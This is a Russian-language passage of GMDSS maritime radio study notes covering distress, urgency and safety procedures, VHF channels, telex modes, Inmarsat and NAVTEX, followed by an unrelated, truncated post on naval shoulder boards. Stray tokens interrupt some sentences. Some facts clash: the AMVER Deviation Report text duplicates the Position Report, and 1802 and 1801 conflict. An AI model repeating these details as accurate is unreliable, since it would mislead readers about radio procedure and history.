плотами с судном и между спасательными шлюпками и плотами и спасательной единицей.

Основные эксплуатационные требования к УКВ радиотелефонной аппаратуре двухсторонней связи спасательных шлюпок и плотов.

• Приводиться в действие неподготовленным персоналом одной рукой, одетым в перчатки .

• Выдерживать падение на твердую поверхность с высоты 1м.

• Быть водонепроницаемым на глубине 1м по крайней мере в течение 5 минут.

• Сохранять водонепроницаемость при тепловом скачке до 45 градусов Цельсия при условии погружения.

• Противостоять воздействию морской воды и нефти.

• Иметь устройства для его крепления на одежде пользователя.

• Не иметь острых углов, которые могут повредить спасательные шлюпки и плоты.

• Иметь небольшой размер и вес.

• Быть либо окрашенным в яркий желтый или оранжевый цвет или иметь маркировочную полосу яркого желтого или оранжевого цвета вокруг оборудования.

На наружной стороне оборудования должны быть ясно указаны:

• краткие инструкции по эксплуатации;

• дата истечения срока службы батареи первичных элементов.

Дипломы судового персонала ГМССБ

Существуют четыре категории дипломов:

• Диплом оператора - радиоэлектроника первого класса;

• Диплом оператора - радиоэлектроника второго класса;

• Общий диплом оператора;

• Ограниченный диплом оператора.

Документация судовой радиостанции

Судовые станции, оснащенные радиооборудованием ГМССБ, должны быть снабжены:

• Лицензией (разрешением на право эксплуатации радиостанции)

• Дипломами радиооператоров

• Радиожурналом ГМССБ

• List IV. List of Coast Stations

• List V. List of Ship Stations

• List VI. List of Radiodetermination and Special Service Stations

• List VI A. List of Call Signs and Numerical Identities of Stations Used by the

• Manual for Use by the Maritime Mobile and maritime Mobile-satellite Services

Кроме перечисленных международных документов на каждом судне должно быть:

• Свидетельство о безопасности по радиооборудованию с Перечнем радиооборудования

• Национальные и ведомственные документы.

Радиожурнал.

Обязательные записи

Радиожурнал включает в себя раздел 1 со сведениями о судне и способах обеспечения

работоспособности, раздел 2 со сведениями о судовом персонале, имеющем сертификаты

операторов ГМССБ, а также сведения о радиооператорах, u1086 ответственных за связь в случае

бедствия и раздел 3, в который заносятся с указанием времени регистрации (UTC):

а) открытие и закрытие радиовахты;

б) проверки оборудования ГМССБ. Результаты этих проверок должны заноситься в

вахтенный журнал радиостанции.

в) краткое изложение сообщений, касающихся обмена в случае бедствия, срочности и безопасности;

г) краткое изложение сообщений, касающихся обмена общественной корреспонденцией

Обязанности вахтенного радиооператора

Обязанности до выхода в рейс

При выходе из порта радиоспециалисту, открыв станцию, следует:

a) прослушивать эфир на соответствующих частотах бедствия с целью обнаружения

возможных сигналов бедствия;

б) передавать сообщение (название судна, местоположение, порт назначения и т.д.)

местной береговой станции и другим соответствующим береговым станциям, с которыми

возможен радиообмен.

Обязанности вахтенного радиооператора во время нахождения в море

Когда станция открыта, вахтенному радиооператору следует:

a) проверять часы в радиорубке по стандартным сигналам проверки времени не реже

одного раза в день;

б) посылать сообщения при входе и выходе из зоны, обслуживаемой береговой ра-

диостанцией, с которой возможен радиообмен;

в) передавать сообщения согласно системам судовых сообщений, в соответствии с

указаниями капитана.

Если терпит бедствие собственное судно, радиооператор, ответственный за радиосвязь

во время бедствия, должен немедленно взять на себя ответственность за выполнение

процедур радиосвязи.

При получении оповещения о бедствии вахтенный радиооператор должен сообщить об

этом капитану и, если это необходимо, радиооператору, ответственному за радиосвязь во

время бедствия.

При получении оповещения о бедствии радиооператор, ответственный за радиосвязь во

время бедствия, должен оценить ситуацию принять ответственность за выполнение

процедур Регламента Радиосвязи.

Радиооператор, которому поручено осуществлять радиосвязь общего назначения,

должен обеспечить, чтобы эффективная вахта поддерживалась на тех частотах, на

которых такая связь будет осуществляться, учитывая местоположение судна в отношении

тех береговых станций и тех береговых земных станций, с которыми возможен радиообмен.

Обязанности по прибытии в порт

Закрывая станцию по прибытии в порт, вахтенному оператору следует извещать местную

береговую станцию и другие береговые станции, с которыми поддерживалась связь, о

прибытии судна и о прекращении работы станции.

Закрывая радиостанцию, радиооператор, ответственный за радиосвязь во время бедствия,

должен:

a) проверять, достаточно ли заряжены резервные источники энергии

Оплата услуг связи, валютные номиналы.

Проблема взаимных расчетов между судовыми и береговыми радиостанциями за

переданные и принятые радиограммы, предоставление телефонных каналов и т.п. состоит

в том, что в этом процессе участвуют суда, работающие под разными флагами

находящиеся в международных водах, а также абоненты различных стран с различными

национальными валютами.

Для разрешения этих вопросов мировое морское сообщество разработало специальную

процедуру по расчетам за услуги связи и ввело специальные валютные номиналы:

Gold Franc (g.f.) -золотой франк и SDR (Special Drawing Right) - единицу специальных

прав заимствования МВФ.

Соотношение между SDR и g.f. фиксированное и составляет: 1 SDR = 3.061 g.f.

Оператор на судне взимает плату:

a) в пользу судна в соответствии с информацией, предоставляемой судовладельцем

б) в пользу береговой радиостанции (land station charge - СС)

в) в пользу береговой линии (landline charge - LL).

Расчеты по услугам связи за телефонный и телексный радиообмен.

При телефонном радиообмене применяются две расчетные единицы: количество минут

для телефонных разговоров и количество тарифных слов для радиотелеграмм. При этом

минимальная длительность телефонного разговора, как правило, равняется трем минутам.

При телексном радиообмене оплате подлежит время занятия канала. Минимальное

оплачиваемое время в таких случаях составляет, как правило, 6 секунд. Для Инмарсат-С

расчет производится за каждый килобит или каждую четверть килобита переданной

информации 1 kilobit =1024 bits % kilobit = 256 bit

На судне размер сообщения, передаваемого через Инмарсат-С, определяется коли-

чеством бит или количеством знаков передаваемой информации. 1 character (знак) = 1 byte

= 8 bits, 1 kilobit = 1024 bits =128 bytes/characters (знаков)

Расчетные организации.

Расчетные организации действуют в соответствии с рекомендациями МККТТ и на-

циональными правилами той или иной станы. Международный Союз электросвязи

присваивает им опознавательные коды, которые регулярно публикует в справочнике List

of Ship Stations вместе с полным названием организации и ее адресом. Отчет за

использование радиосвязи дается в конце каждого месяца либо до первого порта захода,

если рейсы более месяца. Но в любом случае не позднее, чем через 3 месяца.

Порядок Ваших действий при получении вызова бедствия аппаратурой УКВ ЦИВ.

Ваше судно находится в районе А1.

• Настроить УКВ приемопередатчик на канал 16

• Записать информацию в журнал и сообщить капитану

• Ждать в течение 3-х минут подтверждения береговой станцией ЦИВ на канале 70

• Подтвердить по радиотелефону на канале 16 с разрешения капитана

Порядок Ваших действий при получении вызова бедствия аппаратурой УКВ ЦИВ.

Ваше судно находится в районах А2, A3 или А4.

• Настроить УКВ приемопередатчик на канал 16

• Записать информацию в журнал и сообщить капитану

• Подтвердить судну, терпящему бедствие, по радиотелефону на канале 16

• Если нет ответа от станции, терпящей бедствие, подтвердить вызов ЦИВ на той же

частоте бедствия, на которой он был получен (на 70 канале УКВ) и ретранслировать вызов

бедствия на ближайшую береговую станцию любыми доступными средствами связи с

разрешения капитана

Порядок Ваших действий при получении вызова бедствия аппаратурой ПВ ЦИВ.

Ваше судно находится в районе А2.

• Настроить ПВ приемопередатчик на частоту 2182 кГц

• Записать информацию в журнал и сообщить капитану

• Ждать в течение 5-х минут подтверждения береговой станцией ЦИВ на 2187,5 кГц

• Подтвердить по радиотелефону на 2182 кГц с разрешения капитана.

Порядок Ваших действий при получении вызова бедствия аппаратурой ПВ ЦИВ.

Ваше судно находится за пределами u1088 района А2.

• Настроить ПВ приемопередатчик на частоту 2182 кГц

• Записать информацию в журнал и сообщить капитану

• Подтвердить судну, терпящему бедствие, по радиотелефону на частоте 2182 кГц

• Если нет ответа от станции, терпящей бедствие, подтвердить вызов ЦИВ на той же

частоте бедствия, на которой он был получен (на частоте 2187,5 кГц) и ретранслировать

вызов бедствия и ближайшую береговую станцию любыми доступными средствами связи с разрешения капитана

Порядок Ваших действий при получении вызова бедствия аппаратурой KB ЦИВ.

• Не делать подтверждения!

• Настроиться на KB радиотелефонную рабочую частоту бедствия в том же частотном диапазоне, в котором был получен вызов

• Записать информацию в журнал и сообщить капитану

• Если в течение 5-и минут не получено подтверждение от береговой станции или

ретрансляции в направлении берег-судно, или продолжают поступать вызовы бедствия

ЦИВ от судна, терпящего бедствия, необходимо ретранслировать вызов на ближайшую

береговую станцию или СКЦ любыми доступными средствами с разрешения капитана

Перечислите случаи ретрансляции сигнала бедствия

Судовая или береговая станция, получившая вызов бедствия, должна передать (ретранслировать) сообщение о бедствии в следующих случаях:

a) когда станция, терпящая бедствие, сама не в состоянии передать сообщение о бедствии;

б) когда капитан или лицо, ответственное за судно, не терпящее бедствие, считает, что необходима дополнительная помощь;

в) когда судовая станция слышала сообщение о бедствии, прием которого не был подтвержден, но сама она не может оказать помощь.

Наставление IAMSАR

Наставление IAMSАR является руководством для тех, кому во время аварии на море

может потребоваться помощь или для тех, кто может сам оказать такую помощь. В

частности, оно предназначено для капитана судна, которое может быть направлено для

проведения поисково-спасательных операций с целью оказания помощи людям, терпящим

бедствие. Издается в трех томах. Третий том должен находиться на борту каждого воздушного и морского судна.

Вы капитан судна. Судно u1090 тонет и будет покинуто. Ваши действия.

• Передать вызов бедствия аппаратурой КВ/ПВ/УКВ ЦИВ или ИНМАРСАТ

• Пересесть в спасательные средства с УКВ переносными радиостанциями, РЛО и, если возможно АРБ

• Немедленно включить РЛО и АРБ.

Системы сообщений с судов. Служба AMVER

Существуют различные системы сообщений с судов, например AUSREP - Australian

Ship Reporting System, JASPER - Japan Ship Reporting System, AMVER.

Служба AMVER (Automatic Mutual-assistance Vessel Rescue service Автоматическая

служба взаимной помощи при спасании судов) управляется Береговой охраной США и

доступна для любого торгового судна водоизмещением более 1000 регистровых тонн при

переходе между портами более 24 часов. В системе AMVER существует 4 основных типа

сообщений:

Sailing Plan (SP) - включает информацию о пути следования судна, которая должна

быть передана в течение нескольких часов после выхода из порта

Position report (PR) - посылается через 24 часа после выхода из порта и затем каждые

48 часов до прибытия в порт назначения

Deviation report (DR) - посылается через 24 часа после выхода из порта и затем

каждые 48 часов до прибытия в порт назначения

Arrival report (FR) - посылается при прибытии в порт

Распространение информации по безопасности на море

Служба информации по безопасности на море является международно-координируемой

радиосетью для передач, содержащих информацию, которая необходима для безопасности

мореплавания, получаемую на всех судах с помощью оборудования, которое

автоматически следит на соответствующих частотах и печатает на английском языке

такую информацию, которая имеет отношение к судну. Для передачи информации по

безопасности на море используются следующие системы:

• Международная система НАВТЕКС, обеспечивающая передачу и автоматический

прием информации с помощью узкополосной буквопечатающей телеграфии с

помехоустойчивым кодированием на частоте 518 Кгц. Кроме того, могут использоваться

национальные службы Навтекс, осуществляющие передачи на частотах 490 Кгц и 4209,5 Кгц

• Международная служба сети безопасности в спутниковой системе Инмарсат. Прием

осуществляется с помощью оборудования расширенного группового вызова (РГВ)

• Система KB УБПЧ - система передачи информации с помощью узкополосной бу-

квопечатающей телефонии с помехоустойчивым кодированием в диапазоне коротких волн.

Всемирная служба навигационных предупреждений (ВСНП)

Является международной координированной службой для распространения

навигационных предупреждений.

В ВСНП весь мировой океан был разделен на 16 морских районов, называемых

НАВАРЕА и обозначаемых римскими цифрами. Сейчас добавилось 5 новых районов-2

север Канады, 2- север России и 1- север Норвегии. В каждом из районов имеется страна-

координатор, ответственная за сбор, анализ и передачу навигационной информации. MASTER PLAN GMDSS

Это план базирования береговых средств обеспечения ГМССБ. В структуру плана входит

16 приложений. Каждое из них представлено в виде специальной Таблицы наличия

береговых станций морской подвижной службы, морской подвижной спутниковой

службы, системы ИНМАРСАТ, системы Коспас-Сарсат, Международной системы

NATVEX, международной сети безопасности (Safety Net) для морских районов

А1,А2,АЗиА4.

Координация связи при поиске и спасении (SAR)

Для координации и контроля за SAR операциями, RCC требуется связь с судном в

бедствии также как с средствами, участвующими в SAR. Методы и способы используемой

связи (земная, спутниковая, телефонная, телексная) будут определяться возможностями

доступными судну в бедствии и помогающих средств. Если некоторые из них или все

оборудованы спутниковыми терминалами, то отдается преимущество системе Инмарсат

для достижения быстрой и надежной связи, включая получение MSI.

Надежная связь с RCC важна для GMDSS, в которой сообщение бедствия может быть

получено за тысячи миль от места бедствия RCC который не сможет, обеспечивают

необходимую помощь. В этих случаях необходима быстрая ретрансляция сообщения

бедствия соответствующему RCC, используя любые средства связи, такие как наземные

линии связи, радиосети или спутниковые каналы связи, применяемые в таких обстоятельствах.

Чтобы увеличивать скорость и надежность связи RCC - RCC, некоторые RCC

установили SES, обеспечивающие их способностью u1089 связи через систему Инмарсат. Эти

средства связи особенно полезны для взаимодействий с SAR организациями, особенно

когда выделенные или обычные линии связи недоступны или ненадежны.

Действия по получении сигнала бедствия

Суда принявшие DSC сигнал бедствия от другого судна, обычно не должны

подтверждать DSC сигнал, так как подтверждение DSC сигнала бедствия при помощи

DSC обычно производится только береговыми станциями.

Судно, получившее DSC сигнал бедствия от другого судна должно:

Следить за приемом DSC подтверждения сигнала бедствия на канале бедствия (2187,5

кГц на MF, Канал 70 на VHF);

Подготовиться последующему обмену по бедствию, настроив радиотелефонный

приемник на частоту обмена по бедствию в том же самом диапазоне, в котором был

получен DSC сигнал бедствия, то есть 2182 кГц на MF, канал 16 на VHF;

Подтвердить получение сигнала бедствия, передавая следующее на радиотелефонной

частоте обмена по бедствию в том же самом диапазоне, в котором был получен DSC

сигнал бедствия, то есть 2182 кГц на MF, Канал 16 на VHF.

Формат подтверждения принятого вызова бедствия

- "MAYDAY";

- 9-цифровой идентификатор(MMSI) судна в бедствии, повторенный 3 раза;

- "THIS IS";

- 9-цифровой идентификатор(MMSI) или позывной или другая идентификация

своего судна, повторенный 3 раза;

- "RECEIVED MAYDAY"

Оver

Обмен по бедствию

По получении DSC подтверждения сигнала бедствия, судно в бедствии должно

начать обмен по бедствию на радиотелефонной частоте обмена по бедствию (2182 кГц

на MF, Канал 16 на VHF) следующим образом:

- "MAYDAY";

- "THIS IS";

- 9-цифровой идентификатор и позывной сигнал или другой идентификатор судна;

- Местоположение судна по широте и долготе или ссылке на известное

географическое местоположение;

- Характер бедствия и вид требуемой помощи;

- Любая другая информация, которая могла бы облегчать спасение

Ретрансляция ЦИВ сигнала бедствияя

Судно, знающее, что другое судно находится в бедствии, должно ретранслировать

DSC сигнал бедствия если:

- Судно в бедствии не способно самостоятельно передать сигнал бедствия;

- Капитан судна полагает, что последующая помощь необходима.

Ретрансляция DSC сигнала бедствия u1087 производится следующим образом:

Настроить передатчик на одну из DSC частот бедствия (2187,5 кГц на MF, Канал 70 на VHF);

Выбрать формат сообщения "ретрансляция сигнала бедствия" на DSC оборудовании;

Ввести на клавиатуре DSC оборудования:

- Вызов "ВСЕМ СУДАМ" или 9-цифровой идентификатор соответствующей

береговой станции;

- 9-цифровой идентификатор, судна в бедствии, если известен;

- Характер бедствия;

- Самое последнее местоположение судна в бедствии, если известно;

- Время (UTC) когда местоположения судна в бедствии имело силу (если известно);

- Тип последующей связи по бедствию (телефония).

Передача сообщения безопасности:

Настроить передатчик на частоту или канал, указанный в DSC вызове безопасности.

Передать сообщение безопасности следующим образом:

- "SECURITE", повторенный 3 раза;

- "ALL STATIONS" или позывной определенной станции, повторенный 3 раза;

- "THIS IS";

- 9-цифровой идентификатор и позывной сигнал или другой идентификатор

собственного судна;

- Текст сообщения безопасности.

Отмена ложного вызова бедствия

Станция, передавшая ложный сигнал бедствия должна немедленно отменить сигнал

бедствия. Отмена сигнала бедствия ведется устно на радиотелефонном канале обмена по

бедствию, соответствующем DSC каналу, на котором "сигнал бедствия" был передан или в телексе.

Вести наблюдение на радиотелефонном канале обмена по бедствию, соответствующему

DSC каналу, на котором сигнал бедствия был передан, и соответственно отвечать на

любые вызовы относительно этого сигнала. Дождаться подтверждения береговой станцией принятой отмены.

Судовые антенны

Устройство, предназначенное для приема и передачи радиоволн, называется антенной.

Антенна соединяется с передатчиком и с приемником фидерной линией, которая должна быть экранирована.

Неправильный выбор антенны без учета особенностей ее излучения может послужить причиной отсутствия связи.

УКВ радиостанция имеет одну приемопередающую антенну, представляющую собой

несимметричный вибратор высотой до 1.2 м, устанавливаемый вертикально.

В диапазонах промежуточных и коротких волн могут использоваться u1096 штыревые

антенны высотой 6-10 метров, антенны-мачты и проволочные Г- и Т-образные антенны.

Для изоляции антенн используются специальные высокочастотные изоляторы.

Проволочная антенна ПВ диапазона должна иметь полностью смонтированную

запасную антенну и устройство для быстрой ее замены. Сопротивление изоляции антенн

по отношению к корпусу судна при нормальных климатических условиях должно быть не

менее 10 МОм, а при повышенной влажности – не менее 1 МОма.

Частоты, используемые в телефонии

Диапазон частот 156 -174 МГц (УКВ диапазон)

Вызовы между судами и вызов береговой станцией должны, как правило,

производиться на частоте 156.8 МГц (16 канал). Вызов береговой станции судном должен

по мере возможности производиться на рабочем (дежурном) канале, присвоенном данной радиостанции.

16 канал (156.8 МГц) используется только в случаях аварийного радиообмена и для обычных вызовов.

6 канал (156.3 МГц) – для связи между судовыми станциями и станциями воздушных

судов, занятых в скоординированных поисково-спасательных операциях.

13 канал (156.65 МГц) – в целях обеспечения безопасности навигации

(дополнительный канал для связи между судами в районе бедствия; при расхождении судов и т.п.).

70 канал (156.525 МГц) – исключительно для цифрового избирательного вызова.

75 и 76 каналы запрещены к использованию, так как создаются помехи 16-му каналу.

Каналы 15 и 17 могут также быть использованы для внутрисудовой связи с

мощностью передатчика, не превышающей 1 W.

Для связи между судами рекомендуется использовать каналы в следующей

последовательности: 6, 8, 10, 9, 72, 73, 69, 67, 77, 15, 17.

Радиотелексная связь.

В международной практике используется следующая аббревиатура телекса: английская

– TELEX, TELEPRINT, NBDP (Narrow Band Direct Printing), TOR (Telex Over Radio), TLX,

RTLX; русская – УБПЧ (узкополосное буквопечатание).

Оборудование работает в трех рекомендованных МККР режимах: режим A – ARQ;

режим B – FEC и режим C – SELFEC.

Режим FEC (Forward Error Correction – прямое исправление ошибок) является режимом

без обратной связи (передача в одном направлении). Передающая станция передает

сообщение знак за знаком с повторением каждого знака u1095 через четыре позиции. Приемная

станция проверяет каждый знак на отношение 3/4; если это отношение выдерживается

хотя бы на одной из двух позиций, принятый знак распечатывается; если отношение 3/4 не

выдерживается на обеих позициях, вместо знака печатается звездочка. Если отношение

3/4 выдерживается на обеих позициях, но принятые знаки отличаются друг от друга,

вместо знака также печатается звездочка. Таким образом, в режиме FEC обеспечивается

только обнаружение ошибок. В этом режиме приемная станция не нуждается в

передатчике. В режиме FEC возможна передача как всем судам (COLlective FEC -

циркулярный вызов), так и одной конкретной станции (SELective FEC - избирательный вызов).

Режим ARQ (Automatic Repetition reQuest – автоматическое повторение по запросу)

является двухсторонним режимом с обратной связью. В этом режиме связь

осуществляется с использованием двух каналов: приемного, по которому передается

информация от ведущей радиостанции к ведомой, и обратного, по которому передается

сигнал "повтор" в случае обнаружения ошибки в принятой информации, либо "запрос" следующего блока информации.

Передача происходит следующим образом: информация, поступая от телетайпа в коде

МТК-2, разделяется на блоки, преобразуется в двоичный семиэлементный код с весом 3/4.

После этого блок информации, содержащий три знака, поступает в передатчик и

передается в эфир. На приемном конце в декодирующем устройстве осуществляется

проверка принятых знаков на верность отношения единиц и нулей.

При работе в режиме ARQ станция, которая начинает установление радиосвязи

(вызывающая станция), становится "ведущей" или "Master station", а вызываемая станция

– "ведомой" или "Slave station".

Процедуры ГМССБ с использованием ЦИВ

Цифровой избирательный вызов (ЦИВ) представляет собой способ связи,

использующий цифровые коды и обеспечивающий автоматический вызов на вызывной

частоте одной или группы станций и передачу и прием команд и информации в ПВ, КВ и

УКВ диапазонах. Система ЦИВ является основной составной частью ГМССБ, чтобы

исключить человека от непосредственного приема сигнала бедствия, и u1080 используется для:

- оповещения о бедствия, подтверждения приема вызова бедствия, ретрансляции вызова бедствия;

- извещение судов о предстоящей передаче сообщений о срочности, жизненно важных навигационных сообщений;

- опроса терминалов судов (поллинг), снятия координат судна;

- Установления служебной связи на рабочем канале;

- соединения через береговую станцию в автоматическом и полуавтоматическом режиме

с береговой телефонной сетью.

Связь, касающаяся срочности.

Вызов срочности (Urgency) означает, что вызывающая станция имеет очень срочное

сообщение, касающееся безопасности подвижного объекта или лица. Вызов срочности передается в следующих случаях:

· падение человека за борт;

· срочная медицинская помощь;

· потеря управляемости судном;

· запрос на буксировку в аварийном случае;

· аварийный разлив нефтепродуктов;

· опознавание медицинского транспорта (плавучий госпиталь).

В телефонии сообщение срочности состоит из:

· PAN PAN, произносимое три раза;

· ALL STATIONS или наименование вызываемой станции,

произносимое три раза;

· THIS IS;

· 9-значный идентификатор и позывной сигнал, либо название своего судна;

· текст срочного сообщения.

Связь для обеспечения безопасности.

Вызов безопасности (Safety) означает, что вызывающая станция имеет важное

навигационное или метеорологическое предупреждение.

Процедуры вызова и связи для обеспечения безопасности аналогичны процедурам связи,

касающимся срочности, за исключением:

· в формате вызова ЦИВ используется категория SAFETY;

· в сообщении безопасности, передаваемом по радиотелефону или телексу,

используется сигнал безопасности, состоящий из слова SECURITE.

Связь для обеспечения безопасности осуществляется на тех же частотах, что и связь,

касающаяся срочности. Суда, принимающие вызов по безопасности в режиме ЦИВ,

адресованный всем судам, не подтверждают его прием в формате ЦИВ, а должны

настроить приемник радиостанции на частоту, указанную в формате ЦИВ, и принять

сообщения, связанные с безопасностью.

INMARSAT

Основанная в 1979 году для обслуживания морского сообщества, Инмарсат с тех пор

превратился в единственного поставщика глобальной мобильной спутниковой связи для

обеспечения связи в случаях бедствия и для обеспечения безопасности на море, в воздухе

и на суше, а также для коммерческих целей. Основные услуги в рамках сети спутниковой

связи Инмарсат: телефон с прямым автоматическим набором, телекс, факс, электронная

почта и передача данных для применения в морских отраслях, на воздушных судах и в береговых структурах.

Инмарсат используется для обеспечения связи во время бедствий и аварий, а также

средствами массовой информации для сообщения новостей из районов, где

инфраструктура связи находится в плохом состоянии либо полностью отсутствует.

Инмарсат включает в себя три составляющие:

1. Космический сегмент, с 1998 года представляющий из себя 5 спутников-

ретрансляторов 3-го поколения, находящихся на геостационарных орбитах над экватором

на высоте 35000 км, имеющих точные географические координаты относительно Земли

(долготы). Радиопередатчики спутников Инмарсат-3 имеют номинальную мощность 2800

Вт и в восемь раз превышают по мощности аппараты 2-го поколения, отработавшие свой

ресурс и выведенные из эксплуатации. С 2005 года введены в эксплуатоцию 3 спутника четвертого поколения.

Координаты спутников:

Atlantic Ocean Region – E AOR–E 15.5 W

Pacific Ocean Region POR 178 E

Indian Ocean Region IOR 64.5 E

Atlantic Ocean Region – W AOR–W 54 W

2. Береговые земные станции (БЗС или Land Earth Stations – LES) – шлюзы в

наземные сети. Каждая БЗС имеет двух или трехзначный цифровой идентификатор (в

зависимости от системы INMARSAT) и принадлежат государству, на территории которого

установлены. Кроме этого, в каждом океанском районе расположены станции сетевой

координации (Network Сoordination Stations – NCS), которые обеспечивают выделение

свободных каналов судовым и береговым земным станциям в соответствии с заявками

абонентов и слежение за использованием выделенных каналов.

3.Подвижные и неподвижные станции спутниковой связи пользователей (абонентские

станции), работают в диапазоне 1.5-1.6 ГГц. К подвижным станциям относятся судовые

земные станции СЗС (SES – Ship Earth Stations) различных классов и стандартов Инмарсат.

Каждая СЗС имеет свой идентификационный номер, состоящий из 7 или 9 цифр, где 1-я

– опознаватель стандарта INMARSAT, следующие 3 цифры – код страны, которой

принадлежит СЗС, (Maritime Identification Digits – MID), остальные три (пять) цифры –

номер, присвоенный данной СЗС.

Система Инмарсат-В.

Эта система является преемником системы Инмарсат-А и служит для обеспечения тех

же служб связи, но по более низким тарифам, чем Инмарсат-А. Обе системы рассчитаны

на параллельную работу в течение продолжительного времени. Система Инмарсат-В

обеспечивает высококачественную телефонию, телекс, передачу факсимильных сообщений и

данных со скоростью до 64 кбит/сек. Судовые земные станции этой системы могут быть

одноканальными и многоканальными, имеют меньший вес и габариты.

Инмарсат-С

Стандарт Инмарсат-С был введен в эксплуатацию в 1991 году. В его основе лежит

цифровая технология, которая предполагает, что любая информация, которая может быть

преобразована в цифровую форму, будь то текст, показания каких-либо датчиков или

приборов или любое другое сообщение в цифровом формате, может быть передано или

принято через систему Инмарсат-С.

Основные особенности стандарта:

- не обеспечивается режим телефонии;

- обмен информацией между SES (судовой земной станцией) и абонентами основан на

принципе накопления, хранения и последующей передачи (режим Store-And-Forward),

т.е. прямая связь с абонентом в реальном масштабе времени отсутствует;

- скорость передачи сообщений телексом 600 бит/с;

- доступ в частотные каналы случайный, каналы распределены по временным щелям,

вероятность попадания разных обьектов в один канал минимальна, так как таких щелей

очень много, каналы среди абонентов распределяет координатор сети – NCS, который

соединен с БЗС;

- малые габариты SES, компактная ненаправленная антенна;

небольшая потребляемая мощность SES, что позволяет использовать в качестве

вторичных источников питания аккукмуляторные батареи;

В качестве береговых каналов связи БЗС могут использовать международные и

национальные сети телекс, телефонные сети и сети передачи данных. В качестве

оконечных береговых абонентов могут выступать аппараты телекс, факс (только прием),

персональный компьютер, подключенный к сети передачи данных, либо персональный

компьютер и модем в случае использования телефонных линий. Опознаватель стандарта –

цифра 4, идентификатор 9-значный.

Система Инмарсат-М, (Инмарсат-мини М).

Эта система находится в эксплуатации с декабря 1992 года и обеспечивает глобальную

телефонную связь с помощью сравнительно недорогих и небольших по размеру СЗС, что

делает возможным их установку на небольших по размеру судах. Она обеспечивает двух-

стороннюю телефонию, обмен факсимильными сообщениями и данными с помощью

компьютера, а СЗС этой системы могут быть как одноканальными, так и

многоканальными. В ГМССБ этот стандарт не сертифицирован.

Система Инмарсат-F.

Inmarsat Fleet F 77 - совмещает высококачественную связь мобильной сети ISDN

полностью со скоростью 64 Кбит/с вместе с первой в мире глобальной Мобильной

системой передачи пакетных данных, которая обеспечивает экономичную, фактически

глобальную связь и оперативный доступ к актуальной деловой информации

Услуги возможные при использовании терминалов Fleet 77:

- доступ в сети ISDN, а также доступ в сети передачи данных (Интернет, глобальные и

локадьные сети) со скоростью 64кбит/с

- работа в режиме пакетной передачи данных с оплатой только объема полученной и

переданной информации независимо от времени занятия канала

- режим экономичной телефонии, аналогичный режиму Мини-М

- режим высококачественной телефонии (ISDN)

- доступ в аналоговые наземные сети, факсимильная связь (аудио 3,1 кГц)

- возможность прерывания входящих и исходящих сеансов связи независимо от режима в случае аварийного обмена информацией

- оповещение о входящем вызове при работе в режиме пакетной передачи данных

Прием сообщений в системе расширенного группового вызова

Передача сообщений по системе расширенного группового вызова (РГВ) (другое название

- многофункциональный групповой вызов - PГВ) ведется на общем канале КСС. Для

районов NAVAREA/METAREA, которые охвачены несколькими спутниками, u1087 передача по

расписанию навигационных извещений и прогнозов погоды осуществляется через один

специально назначенный спутник. Чтобы принимать информацию, которая передается по

расписанию в данный район NAVAREA/METAREA, СЗС должна быть настроена на тот

спутник, через который ведутся передачи.

Передача таких сообщений вне расписания ведется всеми спутниками,

охватывающими данный район.

Информацию об океанских районах, в которые осуществляется передача ИБМ по

расписанию, а также время передачи, можно найти в «List of Radio Signals».

Международная служба информации по безопасности на море

Для упорядочения передач навигационной и метеорологической информации, а также

информации по поиску и спасению в международном масштабе создана всемирная служба

навигационных предупреждений.

Передача сообщений по безопасности мореплавания в масштабах района А3

осуществляется через систему Инмарсат (судовая станция стандарта С или приемник системы МГВ).

Кроме того, для передачи прибрежных предупреждений используется система

NAVTEX, работающая в режиме узкополосного буквопечатания на частоте 518 кГц - на

английском языке и 490 кГц – на национальном языке (класс излучения F1B). В

соответствии с SOLAS-74 (Резолюция ИМО А.617(15) от 19 ноября 1991 года) с 1 августа

1993 года на всех судах с валовым водоизмещением более 300 тонн должны быть

установлены автоматические приемники системы NAVTEX.

NAVTEX

NAVTEX (навигационный телекс) – международная автоматизированная система

передачи навигационных и метеорологических предупреждений и срочной информации в

режиме узкополосного буквопечатания. Служба использует частоту 518 кГц в режиме

излучения F1B (частотная телеграфия), информация передается на английском языке.

Прием информации обеспечивается в радиусе от 250 до 400 миль от береговой радиостанции.

В каждом районе NAVAREA создана цепочка радиостанций со своим буквенным

идентификатором. Распределение буквенных идентификаторов произведено так, чтобы

максимально удалить друг от друга радиостанции, имеющие одинаковые идентификаторы

в соседних районах NAVAREA.

Передача сообщений NAVTEX береговыми станциями осуществляется по расписанию.

Приемники NAVTEX осуществляют круглосуточный автоматический прием сообщений

по заданной программе без участия человека.

Передача сообщений NAVTEX происходит блоками информации, первый и последний

из которых можно условно представить следующим образом

ZCZC – группа символов, обозначающая конец фазирования и начало сообщения;

В1В2В3В4 – определитель сообщения, причем

В1 – идентификатор передающей станции (буквы от А до Z);

В2 – тип сообщения, включающий(буквы от А до Z):

*A Навигационные предупреждения

*B Метеорологические предупреждения

C Ледовый обзор

*D Информация по поиску и спасанию

*L Навигационные сообщения (дополнительно к букве А)

В3В4 – порядковый номер сообщения. Каждому сообщению NAVTEX в группе

информации одного вида присваивается порядковый номер от 01 до 99, при достижении

99 нумерация возобновляется или по истечении 60ч72 часов вновь пришедшее сообщение

стирает самое старое, но порядковые номера еще действующих сообщений не

используются. Номер 00 присваивается только для жизненно важных сообщений, таких

как первоначальное сообщение о бедствии. Сообщения с таким номером будут всегда

распечатываться, и сработает звуковая и световая сигнализация.

NNNN – группа символов, обозначающие "конец телексного сообщения.

Пример сообщения NAVTEX, принятого от японской станции:

ZCZC JD71

270030 UTC JUN 97

OVERBOARD

ONE CREW OVERBOARD FROM TAISEI

MARU IN APPROX POSITION

36-48.2N 137-06.0E AT 260330 UTC

SHIPS IN THE VICINITY ARE REQUESTED

TO KEEP A SHARP LOOKOUT

AND REPORT ANY INFORMATION TO

MSA JAPAN

NNNN

Подборка погон, знаков отличия для работников Морского Флота

chibis — Thu, 10 Sep 2015 13:41:10 GMT

В 1802 году в морском флоте появились погоны в качестве знаков отличия. Сначала ввели погоны на одно плечо а с 1801 на оба плеча. С марта 1802года морские погоны появились на мундирах чинов Балтийского и Черноморского флота. Постепенно они усовершенствовались и, в несколько изменённом виде, просуществовали до 1917 года.

Инженеры-механики флота и корабельные инженеры получили погоны лишь в 1892 году. После отречения от престола Николая II были упразднены все виды погон, их заменили нарукавными нашивками из галуна. Не выдерживая унижения и позора необходимости оспаривания погонов, многие морские офицеры в большом количестве $CUT$ подавали в отставку.

